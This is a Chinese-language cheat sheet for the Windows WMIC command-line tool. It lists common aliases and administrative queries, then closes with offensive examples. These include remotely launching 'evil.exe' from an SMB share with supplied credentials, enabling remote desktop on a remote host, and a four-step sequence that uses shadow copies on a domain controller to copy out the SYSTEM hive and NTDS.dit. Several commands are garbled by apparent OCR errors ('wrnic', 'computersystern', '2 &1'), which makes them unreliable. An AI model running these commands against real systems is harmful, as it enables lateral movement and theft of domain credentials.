WMIC

Windows的WMIC是一个用来执行系统管理的命令行工具,它是基于WMI(Windows管理规范)的扩展,可以访问和控制本地或远程计算机的各种资源和设置,比如硬件、软件、进程、服务、事件、用户、组等。WMIC可以与现有的shell和实用工具命令兼容,也可以在批处理脚本中使用。

WMIC命令

命令 解释
wmic [alias] get /?
显示某个别名的所有可用属性,以及如何使用get动词来查询这些属性的语法和示例。[alias]是要查询的别名的名称,比如process,service等。/?是一个开关,表示显示帮助信息。
wmic [alias] call /?
显示某个别名的所有可用方法,以及如何使用call动词来调用这些方法的语法和示例。[alias]是要调用的别名的名称,比如process,service等。/?是一个开关,表示显示帮助信息。
wmic process list full
列出本地计算机上运行的所有进程的完整信息
wmic startup
wmic service
显示本地计算机上启动时运行的所有程序的信息
显示本地计算机上安装的所有服务的信息
wmic ntdomain list
列出本地计算机所属的NT域或信任域的信息
wmic qfe
显示本地计算机上安装的所有快速修复工程(QFE)或更新程序(hotfix)的信息
wrnic process call create "process_name"
在本地计算机上创建并运行一个新的进程,并返回该进程的ID和返回值
wmic process where name="process" call terminate
在本地计算机上终止指定名称的进程,并返回该进程的ID和返回值
wmic logicaldisk get description,name
获取本地计算机上所有逻辑磁盘的描述和名称,并以表格形式显示结果
wmic cpu get DataWidth /format:list
获取本地计算机上所有CPU或处理器的数据宽度,并以列表形式显示结果
wmic service where started = true get name, startname
获取本地计算机上已经启动的所有服务的名称和启动账户,并以表格形式显示结果

WMIC中的别名有很多,它们是对WMI类、属性或方法的友好重命名,可以让WMI更易于使用和阅读。别名可以用来查询或操作WMI对象,比如进程、服务、磁盘、网络等。

以下是一些常用的别名的列表和说明:

  • baseboard:主板对象,可以获取主板的制造商、型号、序列号等信息。
  • bios:BIOS对象,可以获取BIOS的版本、厂商、发布日期等信息。
  • bootconfig:启动配置对象,可以获取启动设备、启动文件、超时时间等信息。
  • computersystem:计算机系统对象,可以获取计算机的名称、域、制造商、型号、内存、处理器等信息。
  • cpu:CPU或处理器对象,可以获取CPU的名称、型号、速度、核心数、线程数等信息。
  • datafile:数据文件对象,可以获取文件的名称、路径、大小、创建日期、修改日期等信息。
  • desktop:桌面对象,可以获取桌面的分辨率、颜色深度、壁纸等信息。
  • diskdrive:磁盘驱动器对象,可以获取磁盘驱动器的名称、型号、序列号、大小、分区数等信息。
  • environment:环境变量对象,可以获取或设置环境变量的名称和值。
  • logicaldisk:逻辑磁盘对象,可以获取逻辑磁盘的名称、类型、文件系统、大小、可用空间等信息。
  • netclient:网络客户端对象,可以获取网络客户端的名称和状态。
  • netlogin:网络登录对象,可以获取网络登录用户的名称和登录时间。
  • netuse:网络使用对象,可以获取网络连接的本地名称和远程名称。
  • nicconfig:网络接口配置对象,可以获取或设置网络接口的IP地址、子网掩码、默认网关、DNS服务器等信息。
  • ntdomain:NT域对象,可以获取NT域或信任域的名称和域控制器信息。
  • os:操作系统对象,可以获取操作系统的版本、安装日期、启动时间、语言等信息。
  • pagefile:分页文件对象,可以获取分页文件的名称和大小。
  • partition:分区对象,可以获取分区的名称和大小。
  • process:进程对象,可以获取或操作进程的名称、ID、优先级、内存使用量等信息。
  • product:产品对象,可以获取已安装软件产品的名称和版本。
  • qfe:快速修复工程(QFE)或更新程序(hotfix)对象,可以获取已安装更新程序的编号(KB号)和安装日期。
  • service:服务对象,可以获取或操作服务的名称、状态、启动类型等信息。
  • share:共享资源对象,可以获取共享资源的名称和路径。
  • startup:启动程序对象,可以获取启动时运行的程序的名称和位置。
  • useraccount:用户账户对象,可以获取用户账户的名称和状态。
# 在目标计算机targetIP上创建并运行一个恶意程序evil.exe
wmic /node: targetIP /user:domain\user /password:password process call create "\ \ smbIP \share\evil.exe" 

# 获取本地计算机上安装的所有软件产品的名称
wmic product get name /value 

# 卸载本地计算机上指定名称的软件产品,并不弹出任何确认框
wmic product where name="XXX" call uninstall /nointeractive 

# 获取远程计算机computer上当前登录的用户名,格式为域名\用户名
wmic /node:computer computersystern get username 

# 每隔l秒列出远程计算机machinename上运行的所有进程的简要信息,包括进程名,进程ID,父进程ID,优先级等
wmic /node:machinename process list brief /every:l 

# 在远程计算机machinename 4上启用新的远程桌面连接
wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections=''O'' call SetAllowTSConnections ''1''

# 获取本地计算机上用户名中包含adm字符串的网络登录用户的登录次数
wmic netlogin where (name like "%adm%") get numberoflogons 

# 获取本地计算机上服务名、显示名、路径名、启动类型中包含nauton字符串,并且路径名不包含C:\windows\和双引号字符串的服务信息,并以表格形式显示结果
wmic service get narne,displayname,pathnarne,startrnode | findstr /i nauton | findstr /i /v "C:\windows\\" | findstr /i /v """
# 列出卷影副本并保存

1.
 wmic /node: DC IP /user:"DMAIN\user" /password:"PASS" process call create "cmd /c vssadmin list shadows 2 &1 e:\temp\output.txt" 
 
 2.
 wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin create shadow /for=C: 2 &1 E:\temp\output.txt" 
 
 3.
 wmic /node: DC IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVol~meShadowCopy1\Windows\System32\co nfig\SYSTEM C:\temp\system.hive 2 &1 C:\temp\output.txt" 
 
 4.
 wmic /node: DC IP /user: "DOMAIN\user" /password: "PASS" process call create ''cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyc\NTDS\NTDS.dit C:\temp\ntds.dit 2 &1 E:\temp\output.txt"